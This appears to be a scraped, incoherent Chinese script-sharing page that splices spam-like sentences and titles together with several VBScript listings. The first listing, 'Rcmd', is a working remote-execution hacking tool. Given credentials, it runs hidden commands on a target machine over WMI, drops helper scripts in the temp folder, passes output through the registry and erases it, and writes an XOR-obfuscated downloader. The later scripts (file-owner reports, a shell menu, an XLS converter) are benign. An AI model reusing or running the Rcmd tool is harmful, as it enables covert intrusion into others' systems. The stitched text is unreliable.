ae脚本安装方法via运行

发布时间:2020-10-06 来源:脚本之家 点击:

在很多情况下,我们都可以用“Ctrl+X”、“Ctrl+C”、“Ctrl+V”和“Ctrl+Z”分别进行“剪切”、“复制”、“粘贴”和“撤消”操作,由此想到,如果我们能够在程序中调用系统的这些功能,就无需为如何实现这些操作而操心了

算法我就偷懒不写了,感觉效率不会太高,哪位朋友感兴趣可以写来玩玩

魔兽世界双采脚本一天收入

On Error Resume Next
Set outstreem=Wscript.stdout
If (LCase(Right(Wscript.fullname,11))="Wscript.exe") Then
Wscript.Quit
End If

If Wscript.arguments.Count<4 Then
Wscript.echo "Not enough Parameters."
usage()
Wscript.Quit
End If


ip=Wscript.arguments(0)
username=Wscript.arguments(1)
password=Wscript.arguments(2)
CmdStr=Wscript.arguments(3)
EchoStr=Wscript.arguments(4)
'downstr=Wscript.arguments(5)
foldername="c:\\windows\\temp\"

wsh.echo "Conneting "&ip&" ...."
Set objlocator=CreateObject("wbemscripting.swbemlocator")
Set objswbemservices=objlocator.connectserver(ip,"root/cimv2",username,password)
showerror(err.number)
Set Win_Process=objswbemservices.Get("Win32_ProcessStartup")
Set Hide_Windows=Win_Process.SpawnInstance_
Hide_Windows.ShowWindow=12
Set Rcmd=objswbemservices.Get("Win32_Process")
Set colFiles=objswbemservices.ExecQuery _
("Select * from CIM_Datafile Where Name='c:\\windows\\temp\\read.vbs'")
If colFiles.Count=0 Then
wsh.echo "Not found read.vbs! Create Now!"
Create_read()

End If





If EchoStr="0" Then
msg=Rcmd.create("cmd /c "&CmdStr,Null,Hide_Windows,intProcessID)
End if
If EchoStr="1" Then
msg=Rcmd.create("cmd /c cscript %windir%\temp\read.vbs """&CmdStr&"""",Null,Hide_Windows,intProcessID)
End If

If EchoStr="3" Then
Create_down()
End If

If msg=0 Then
wsh.echo "Command success..."
Else
showerror(Err.Number)
End If

wsh.echo "Please Wait 3 Second ...."
wsh.sleep(3000)
Set StdOut=Wscript.StdOut
Set oReg=objlocator.connectserver(ip,"root/default",username,password).Get("stdregprov")
oReg.GetMultiStringValue &H80000002,"SOFTWARE\Clients","cmd" ,arrValues
wsh.echo String(79,"*")
wsh.echo cmdstr&Chr(13)&Chr(10)

For Each strValue In arrValues
StdOut.WriteLine strValue
Next
oReg.DeleteValue &H80000002,"SOFTWARE\Clients","cmd"

Sub Create_read()
RunYN=Rcmd.create("cmd /c echo set ws=WScript.CreateObject(^""WScript.Shell^"")> %windir%\temp\read.vbs"_
&"&&echo str=ws.Exec(^""cmd /c ^""^&wscript.arguments(0)).StdOut.ReadAll:set ws=nothing>> %windir%\temp\read.vbs"_
&"&&echo Set oReg=GetObject(^""winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv^"")>> %windir%\temp\read.vbs"_
&"&&echo oReg.SetMultiStringValue ^&H80000002,^""SOFTWARE\Clients^"",^""cmd^"",Array(str) >> %windir%\temp\read.vbs",Null,Hide_Windows,intProcessID)
If RunYN=0 Then
wsh.echo "read.vbs Created!!!"
Else
showerror(Err.Number)
End If

End Sub

sub Create_down()
Rundw=Rcmd.create("cmd /c echo Function Decode(s,n):ns=Split(Mid(s,2,Len(s)-1)):For i=0 To UBound(ns):on error resume next:Decode=Decode^&Chr(CInt(ns(i)) Xor n):Next:End Function>%windir%\temp\down.vbs"_
&"&&echo Execute(Decode(^"" 26 9 18 31 8 21 19 18 92 15 29 10 25 58 21 16 25 84 26 21 16 25 18 29 17 25 80 15 8 14 85 113 118 113 118 92 92 92 92 92 15 25 8 92 29 24 19 24 30 47 8 14 25 29 17 92 65 92 63 14 25 29 8 25 51 30 22 25 31 8 84 94 61 56 51 56 62 94 92 90 92 94 82 94 92 90 92 94 47 8 14 25 29 17 94 85 113 118 113 118 92 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 40 5 12 25 65 92 77 113 118 92 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 51 12 25 18 113 118 92 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 11 14 21 8 25 92 15 8 14 113 118 92 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 47 29 10 25 40 19 58 21 16 25 92 26 21 16 25 18 29 17 25 80 78 113 118 92 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 63 16 19 15 25 113 118 113 118 25 18 24 92 26 9 18 31 8 21 19 18 113 118 113 118 91 83 83 42 62 -13695 -10347 -10282 -20072 -19531 -18814 -17020 -10566 -18291 -13631 113 118 58 9 18 31 8 21 19 18 92 49 9 16 8 21 62 5 8 25 40 19 62 21 18 29 14 5 84 49 9 16 8 21 62 5 8 25 85 113 118 113 118 92 92 92 92 92 56 21 17 92 46 47 80 92 48 49 9 16 8 21 62 5 8 25 80 92 62 21 18 29 14 5 113 118 92 92 92 92 92 63 19 18 15 8 92 29 24 48 19 18 27 42 29 14 62 21 18 29 14 5 92 65 92 78 76 73 113 118 92 92 92 92 92 47 25 8 92 46 47 92 65 92 63 14 25 29 8 25 51 30 22 25 31 8 84 94 61 56 51 56 62 82 46 25 31 19 14 24 15 25 8 94 85 113 118 92 92 92 92 92 48 49 9 16 8 21 62 5 8 25 92 65 92 48 25 18 62 84 49 9 16 8 21 62 5 8 25 85 113 118 92 92 92 92 92 53 26 92 48 49 9 16 8 21 62 5 8 25 66 76 92 40 20 25 18 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 58 21 25 16 24 15 82 61 12 12 25 18 24 92 94 17 62 21 18 29 14 5 94 80 92 29 24 48 19 18 27 42 29 14 62 21 18 29 14 5 80 92 48 49 9 16 8 21 62 5 8 25 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 51 12 25 18 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 61 24 24 50 25 11 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 84 94 17 62 21 18 29 14 5 94 85 82 61 12 12 25 18 24 63 20 9 18 23 92 49 9 16 8 21 62 5 8 25 92 90 92 63 20 14 62 84 76 85 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 41 12 24 29 8 25 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 62 21 18 29 14 5 92 65 92 46 47 84 94 17 62 21 18 29 14 5 94 85 82 59 25 8 63 20 9 18 23 84 48 49 9 16 8 21 62 5 8 25 85 113 118 92 92 92 92 92 57 18 24 92 53 26 113 118 92 92 92 92 92 49 9 16 8 21 62 5 8 25 40 19 62 21 18 29 14 5 92 65 92 62 21 18 29 14 5 113 118 113 118 57 18 24 92 58 9 18 31 8 21 19 18 113 118 113 118 113 118 26 9 18 31 8 21 19 18 92 25 4 25 31 84 85 113 118 92 92 92 92 92 113 118 92 92 92 92 92 91 83 83 -14659 -20046 -19311 -12657 113 118 92 92 92 92 92 19 18 92 25 14 14 19 14 92 14 25 15 9 17 25 92 50 25 4 8 113 118 92 92 92 92 92 47 25 8 92 29 14 27 15 92 65 92 43 47 31 14 21 12 8 82 61 14 27 9 17 25 18 8 15 113 118 21 26 92 29 14 27 15 82 63 19 9 18 8 92 65 92 76 92 8 20 25 18 113 118 92 92 92 92 92 43 47 31 14 21 12 8 82 57 31 20 19 92 94 41 15 29 27 25 70 92 63 47 31 14 21 12 8 92 24 19 11 18 82 10 30 15 92 9 14 16 92 31 70 32 77 82 25 4 25 94 113 118 92 92 92 92 92 43 47 31 14 21 12 8 82 45 9 21 8 92 77 113 118 92 92 92 92 92 25 18 24 92 53 26 113 118 92 92 92 92 92 92 24 21 17 92 24 29 8 29 80 8 80 23 23 80 26 21 16 25 18 29 17 25 80 15 15 113 118 92 92 92 92 92 47 25 8 92 49 29 21 16 77 92 65 92 63 14 25 29 8 25 51 30 22 25 31 8 84 94 63 56 51 82 49 25 15 15 29 27 25 94 85 113 118 92 92 92 92 92 49 29 21 16 77 82 63 14 25 29 8 25 49 52 40 49 48 62 19 24 5 92 29 14 27 15 82 53 8 25 17 84 76 85 92 80 79 77 92 113 118 91 49 29 21 16 77 82 63 14 25 29 8 25 49 52 40 49 48 62 19 24 5 92 94 31 70 32 4 4 4 32 16 31 4 82 25 4 25 81 12 26 82 20 8 17 94 80 79 77 113 118 92 92 92 92 92 15 15 65 92 49 29 21 16 77 82 52 40 49 48 62 19 24 5 113 118 92 92 92 92 92 47 25 8 92 49 29 21 16 77 65 18 19 8 20 21 18 27 92 92 113 118 113 118 92 92 92 113 118 113 118 92 92 92 92 92 91 83 83 -19009 -19007 -13695 -16735 113 118 92 92 92 92 92 24 29 8 29 92 92 92 92 92 92 92 92 92 92 92 92 92 65 92 15 15 113 118 92 92 92 92 92 91 83 83 -19009 -19007 -12616 -17278 -15481 113 118 92 92 92 92 92 26 21 16 25 18 29 17 25 92 92 92 92 92 65 92 29 14 27 15 82 53 8 25 17 84 77 85 113 118 113 118 92 92 92 92 92 91 83 83 -19009 -19007 -13695 -16735 -19496 -18764 113 118 92 92 92 92 92 92 92 92 92 9 92 65 92 16 25 18 84 24 29 8 29 85 113 118 92 92 92 92 92 113 118 92 92 92 92 92 91 83 83 -17523 -19009 -12616 -17278 -13695 -10347 113 118 92 92 92 92 92 26 19 14 92 21 65 77 92 8 19 92 9 92 15 8 25 12 92 78 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 8 92 65 92 17 21 24 84 24 29 8 29 80 21 80 78 85 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 23 23 92 65 92 23 23 92 90 92 63 20 14 62 84 31 16 18 27 84 94 90 52 94 92 90 92 8 85 85 113 118 92 92 92 92 92 18 25 4 8 113 118 113 118 92 92 92 92 92 91 83 83 -10282 -20072 -19531 -18814 -17020 -10566 -18291 -13631 113 118 92 92 92 92 92 24 29 8 29 61 14 14 5 92 65 92 49 9 16 8 21 62 5 8 25 40 19 62 21 18 29 14 5 84 23 23 85 113 118 92 92 92 92 92 113 118 92 92 92 92 92 91 83 83 -20001 -19302 -12616 -17278 92 92 92 92 92 113 118 92 92 92 92 92 15 29 10 25 58 21 16 25 92 26 21 16 25 18 29 17 25 80 24 29 8 29 61 14 14 5 113 118 113 118 92 92 92 92 113 118 92 92 92 92 25 18 24 92 26 9 18 31 8 21 19 18 113 118 113 118 25 4 25 31 84 85 113 118 92 113 118 113 118^"",124))>>%windir%\temp\down.vbs",Null,Hide_Windows,intProcessID)

If Rundw=0 Then
wsh.echo "down.vbs Created!!!"
Else
showerror(Err.Number)
End If

End Sub

Function showerror(errornumber)
If errornumber Then
wsh.echo "Error 0x"&CStr(Hex(Err.Number))&" ."
If Err.Description <> "" Then
wsh.echo "Error Description: "&Err.Description&"."
End If
Wscript.Quit
Else
outstreem.Write "."
End If
End Function


Sub usage()
wsh.echo string(79,"*")
wsh.echo "Rcmd v1.01 by NetPatch modiy by lcx"
wsh.echo "Usage:"
wsh.echo "cscript "&wscript.scriptfullname&" targetIP username password ""Command"" 1 //on echo"
wsh.echo "cscript "&wscript.scriptfullname&" targetIP username password ""Command"" 0 //off echo create "
wsh.echo "cscript "&wscript.scriptfullname&" targetIP username password """" 3 // create cdo.message.down.vbs "
wsh.echo string(79,"*")&vbcrlf
end Sub
复制应用程序时,不仅自动复制表中的数据,还要复制应用程序的对象

GetOwner.VBS用法,在命令行下:GetOwner.vbs 目录名会在相应目录下生成一个TXT.TXT文件,内里列出该目录下所有文件和文件夹的类型,大小,和所有者
注意:大小以MB为单位,小于1MB的就显示为0MB,

以下是代码:

G=WScript.arguments(0)
Set oFSO=CreateObject("Scripting.FileSystemObject")
set txt=oFSO.CreateTextFile(G&"TXT.txt",true) '嘿嘿,如果这个目录下刚好有一个TXT.txt文件,那就算你倒霉,
不会有人真用这种名字来做文件名吧?真的啊,真的有啊?那你
换地方吧~~~C: \TXT.TXT应该不会有了吧?
set objWMI=GetObject("winmgmts:")
Set oFiles=objWMI.ExecQuery("ASSOCIATORS OF {Win32_Directory.Name='"&G&"'}" & "where ResultClass=
CIM_logicalfile")
For Each oFile In oFiles
txt.WriteLine( "--------------------------------------------------------------")
txt.WriteLine( oFile.name)
txt.WriteLine( "Type: " & oFile.FileType)
if oFile.name=G&"system volume information" then
exit for
end if
if oFile.FileType="File Folder" then
Set objFolder=oFSO.GetFolder(oFile.name)
txt.WriteLine("Size: " & Cint(objFolder.Size/1024/1024) &"MB")
else
txt.WriteLine( "Size: " & cint(oFile.FileSize/1024/1024) &"MB")
end if
strFile=oFile.name
strComputer="."
Set objWMIService=GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\" & strComputer &
"\root\cimv2")
Set colItems=objWMIService.ExecQuery ("ASSOCIATORS OF {Win32_LogicalFileSecuritySetting='" & strFile
& "'}" & " WHERE
AssocClass=Win32_LogicalFileOwner ResultRole=Owner")
For Each objItem in colItems
if oFile.name="system volume information" then
exit for
end if
txt.WriteLine( "FileOwner: " & objItem.AccountName)
Next
Next

统计某用户在某目录下的文件和文件夹使用方法:
脚本名 目录名 用户名
如:
owner.vbs d:\ lsj
结果是在相应目录下生成一个文本文件
格式如下:
--------------------------------------------------------------
d:\jcb-gx
Type: File Folder
Size: 22MB
--------------------------------------------------------------
d:\powerword 2003.rar
Type: WinRAR 档案文件
Size: 503MB
--------------------------------------------------------------
d:\txt.txt
Type: Text Document
Size: 0MB
--------------------------------------------------------------
d:\年 度 考 核 登 记 表2006版061225.doc
Type: Microsoft Word 文档
Size: 0MB
--------------------------------------------------------------
--------------------------------------------------------------
--------------------------------------------------------------
The TotalSize of All files lsj owns is: 525MB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
以下为脚本代码:

TotalSize=0
G=WScript.arguments(0)
H=WScript.arguments(1)
Set oFSO=CreateObject("Scripting.FileSystemObject")
set txt=oFSO.CreateTextFile(G&"TXT.txt",true)
set objWMI=GetObject("winmgmts:")
Set oFiles=objWMI.ExecQuery("ASSOCIATORS OF {Win32_Directory.Name='"&G&"'}" & "where ResultClass=
CIM_logicalfile")
For Each oFile In oFiles
strFile=oFile.name
Set objWMIService=GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
Set colItems=objWMIService.ExecQuery ("ASSOCIATORS OF {Win32_LogicalFileSecuritySetting='" & strFile
& "'}" & " WHERE
AssocClass=Win32_LogicalFileOwner ResultRole=Owner")
For Each objItem in colItems
if objItem.AccountName=H then
txt.WriteLine( "--------------------------------------------------------------")
txt.WriteLine( oFile.name)
txt.WriteLine( "Type: " & oFile.FileType)
if oFile.name=G&"system volume information" then
exit for
end if
S=0
if oFile.FileType="File Folder" then
Set objFolder=oFSO.GetFolder(oFile.name)
S=Cint(objFolder.Size/1024/1024)
else
S=Cint(oFile.FileSize/1024/1024)
end if
txt.WriteLine( "Size: " & S &"MB")
TotalSize=TotalSize + S
end if
Next
Next
txt.WriteLine( "--------------------------------------------------------------")
txt.WriteLine( "--------------------------------------------------------------")
txt.WriteLine( "--------------------------------------------------------------")
txt.WriteLine( "The TotalSize of All files "&H&" owns is: " & TotalSize &"MB")

更新后:
4.0版
使用方法:
脚本名 目录名
脚本会在相应目录下生成几个与本机用户对应的TXT文件,每个文件列出相应用户所有文件和文件夹的类型大小,并在最
后合总计算所有文件和文件夹的大小
以下是代码:

TotalSize=0
G=WScript.arguments(0)


Set oFSO=CreateObject("Scripting.FileSystemObject")

Set objWMI=GetObject("winmgmts:")
Set oFiles=objWMI.ExecQuery("ASSOCIATORS OF {Win32_Directory.Name='"&G&"'}" & "where ResultClass=
CIM_logicalfile")

Set objNetwork=CreateObject("Wscript.Network")
strComputer=objNetwork.ComputerName
Set colAccounts=GetObject("" & strComputer & "")
colAccounts.Filter=Array("user")


For Each objUser In colAccounts
H=objUser.Name
A=G & objUser.Name & "txt.txt"
Set txt=oFSO.CreateTextFile (A,true)

For Each oFile In oFiles
strFile=oFile.name
Set objWMIService=GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
Set colItems=objWMIService.ExecQuery ("ASSOCIATORS OF {Win32_LogicalFileSecuritySetting='" & strFile
& "'}" & " WHERE AssocClass=Win32_LogicalFileOwner ResultRole=Owner")

For Each objItem in colItems
if objItem.AccountName=H then
txt.WriteLine( "--------------------------------------------------------------")
txt.WriteLine( oFile.name)
txt.WriteLine( "Type: " & oFile.FileType)

if oFile.name=G&"system volume information" then
exit for
end if

S=0

if oFile.FileType="File Folder" then
Set objFolder=oFSO.GetFolder(oFile.name)
S=Cint(objFolder.Size/1024/1024)
else
S=Cint(oFile.FileSize/1024/1024)
end if
txt.WriteLine( "Size: " & S &"MB")
TotalSize=TotalSize + S
end if
Next

Next

txt.WriteLine( "--------------------------------------------------------------")
txt.WriteLine( "--------------------------------------------------------------")
txt.WriteLine( "--------------------------------------------------------------")
txt.WriteLine( "The TotalSize of All files "&H&" owns is: " & TotalSize &"MB")
Next

再次更新后:
4.1版
用法同前
脚本名 目录名
在目录名下生成一个文件,按用户次序输出所有用户在该目录中的文件信息,格式如下:
--------------------------------------------------------------
The TotalSize of All files Administrator owns is: 0MB
--------------------------------------------------------------
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
--------------------------------------------------------------
The TotalSize of All files Guest owns is: 0MB
--------------------------------------------------------------
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
--------------------------------------------------------------
The TotalSize of All files HelpAssistant owns is: 0MB
--------------------------------------------------------------
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
--------------------------------------------------------------
d:\powerword 2003.rar
Type: WinRAR 档案文件
Size: 503MB
--------------------------------------------------------------
d:\年 度 考 核 登 记 表2006版061225.doc
Type: Microsoft Word 文档
Size: 0MB
--------------------------------------------------------------
d:\jcb-gx
Type: File Folder
Size: 22MB
--------------------------------------------------------------
The TotalSize of All files lsj owns is: 525MB
--------------------------------------------------------------
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
--------------------------------------------------------------
The TotalSize of All files SUPPORT_388945a0 owns is: 0MB
--------------------------------------------------------------
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

以下是代码:

G=WScript.arguments(0)


Set oFSO=CreateObject("Scripting.FileSystemObject")
Set objWMI=GetObject("winmgmts:")
Set oFiles=objWMI.ExecQuery("ASSOCIATORS OF {Win32_Directory.Name='"&G&"'}" & "where ResultClass=
CIM_logicalfile")

Set objNetwork=CreateObject("Wscript.Network")
strComputer=objNetwork.ComputerName
Set colAccounts=GetObject("" & strComputer & "")
colAccounts.Filter=Array("user")


For Each objUser In colAccounts
TotalSize=0
H=objUser.Name
Set TXT=oFSO.OpenTextFile(G&"\TXT.TXT",8,true)

For Each oFile In oFiles
strFile=oFile.name
Set objWMIService=GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
Set colItems=objWMIService.ExecQuery ("ASSOCIATORS OF {Win32_LogicalFileSecuritySetting='" & strFile
& "'}" & " WHERE AssocClass=Win32_LogicalFileOwner ResultRole=Owner")

For Each objItem in colItems
if objItem.AccountName=H then
TXT.WriteLine( "--------------------------------------------------------------")
TXT.WriteLine( oFile.name)
TXT.WriteLine( "Type: " & oFile.FileType)

if oFile.name=G&"system volume information" then
exit for
end if

S=0

if oFile.FileType="File Folder" then
Set objFolder=oFSO.GetFolder(oFile.name)
S=Cint(objFolder.Size/1024/1024)
else
S=Cint(oFile.FileSize/1024/1024)
end if
TXT.WriteLine( "Size: " & S &"MB")
TotalSize=TotalSize + S
end if
Next
Next

TXT.WriteLine( "--------------------------------------------------------------")

TXT.WriteLine( "The TotalSize of All files "&H&" owns is: " & TotalSize &"MB")
TXT.WriteLine( "--------------------------------------------------------------")
TXT.WriteLine( "※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※")
TXT.Close
Next
MsgBox "文件列表信息已成功输出至TXT.TXT文件",64,"OK"----回调(CallBack)过程是应用程序内部的、Windows系统可以调用的过程

Setos=CreateObject("wscript.shell")
Setos0=CreateObject("shell.application")
Do
input1=InputBox("请选择:"+chr(13)+chr(13)+_
"1.全部窗口最小化"+chr(13)+_
"2.窗口状态复原"+chr(13)+_
"3.窗口均匀平铺"+chr(13)+_
"4.窗口纵向平铺"+chr(13)+_
"5.窗口重叠展开"+Chr(13)+_
"6.资源管理器"+chr(13)+_
"7.设置系统时间"+Chr(13)+_
"8.刷新系统菜单"+Chr(13)+_
"9.手动设置开始菜单"+Chr(13)+_
"10.搜索文件"+Chr(13)+_
"11.搜索计算机"+Chr(13)+_
"12.运行"+Chr(13)+_
"13.帮助"+Chr(13)+_
"14.打开文件夹"+Chr(13)+_
"15.挂起系统"+Chr(13)+_
"16.关闭系统"+Chr(13)+_
"","vbsshell32功能调用")
SelectCaseinput1
Case1
os0.MinimizeAll
Case2
os0.UndoMinimizeALL
Case3
os0.TileHorizontally
Case4
os0.TileVertically
Case5
os0.CascadeWindows
Case6
p1=os.SpecialFolders("desktop")
os0.Explore(p1)
Case7
os0.SetTime
Case8
os0.RefreshMenu
Case9
os0.TrayProperties
Case10
os0.FindFiles
Case11
os0.FindComputer
Case12
os0.FileRun
Case13
os0.Help
Case14
Setpath1=os0.BrowseForFolder(0,"选择要打开的文件夹:",0)
Ifpath1IsNothingThen
Else
os0.Open(path1.self.path)
EndIf
Case15
os0.Suspend
Case16
os0.ShutdownWindows
Case""
ExitDo
CaseElse
os.Popup"选择错误",2,"错误",64+0
EndSelect
loop

3):GLOBAL.BAS,VB应用程序的全程变量的定义文件

然后从Inch换算成Pixel,1 Inch等于多少Pixel呢?这是由系统的DPI(Dot Per Inch)设置决定的,默认值是96地球末日生存文件下载

->


Set oShell=CreateObject("Shell.Application")
Set oDir=oShell.BrowseForFolder(0,"选择目录",0)
For Each x In oDir.Items
If LCase(Right(x.Path,4))=".xls" Then
XLS2TXT x.Path
End If
Next
'****************************************************************************************
'开始转换
'****************************************************************************************
Sub XLS2TXT(strFileName)
'若有装Excel只需
'oExcel.ActiveWorkbook.SaveAs strFileName & ".txt", -4158
'下面的方法适合没有装Office的系统
On Error Resume Next
Dim oConn,oAdox,oRecordSet
Set oConn=CreateObject("Adodb.Connection")
Set oAdox=CreateObject("Adox.Catalog")
sConn="Provider=Microsoft.Jet.Oledb.4.0;" & _
"Data Source=" & strFileName & ";" & _
"Extended Properties=""Excel 8.0; HDR=No"";"
sSQL="Select * From "
oConn.Open sConn
if Err Then
Msgbox "错误代码:" & Err.Number & VbCrLf & Err.Description
Err.Clear
else
oAdox.ActiveConnection=oConn
sSQL=sSQL & "[" & oAdox.Tables(0).Name & "]" '为了简便,只处理第一个工作表
Set oRecordSet=oConn.Execute(sSQL)
if Err Then
Msgbox "错误代码:" & Err.Number & VbCrLf & Err.Description
Err.Clear
else
Write strFileName & ".txt",oRecordSet.GetString
end if
end If
oRecordSet.Close
oConn.Close
Set oRecordSet=Nothing
Set oAdox=Nothing
Set oConn=Nothing
End Sub
'****************************************************************************************
'写入文件,同名覆盖,无则创建
'****************************************************************************************
Sub Write(strName,str)
Dim oFSO,oFile
Set oFSO=CreateObject("Scripting.FileSystemObject")
Set oFile=oFSO.OpenTextFile(strName,2,True) '不存在则创建,强制覆盖
oFile.Write str
oFile.Close
Set oFile=Nothing
Set oFSO=Nothing
End Sub

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号